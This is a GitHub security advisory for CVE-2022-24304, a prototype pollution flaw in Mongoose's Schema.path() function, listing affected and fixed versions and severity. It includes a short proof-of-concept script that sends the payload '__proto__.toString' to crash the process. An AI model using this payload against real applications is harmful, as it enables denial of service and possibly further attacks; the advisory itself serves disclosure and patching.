GitHub Advisoryadvisory · npm

GHSA-h8hf-x3f4-xwgp Mongoose Vulnerable to Prototype Pollution in Schema Object

CRITICAL Published 2022-08-27 Modified 2024-04-22 Official page ↗
Aliases
CVE-2022-24304
Ecosystem
npm
Packages
mongoose
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-1321
Reviewed
2024-04-22

Affected packages

• npm mongoose: >= 6.0.0, < 6.4.6 → fixed in 6.4.6 • npm mongoose: < 5.13.15 → fixed in 5.13.15

Description

Description Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Affected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack. Proof of Concept ```js // poc.js const mongoose = require('mongoose'); const schema = new mongoose.Schema(); malicious_payload = '__proto__.toString' schema.path(malicious_payload, [String]) x = {} console.log(x.toString()) // crashed (Denial of service (DoS) attack) ``` Impact This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Related

Alias · not in database (1)

Weakness · CWE (1)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness

References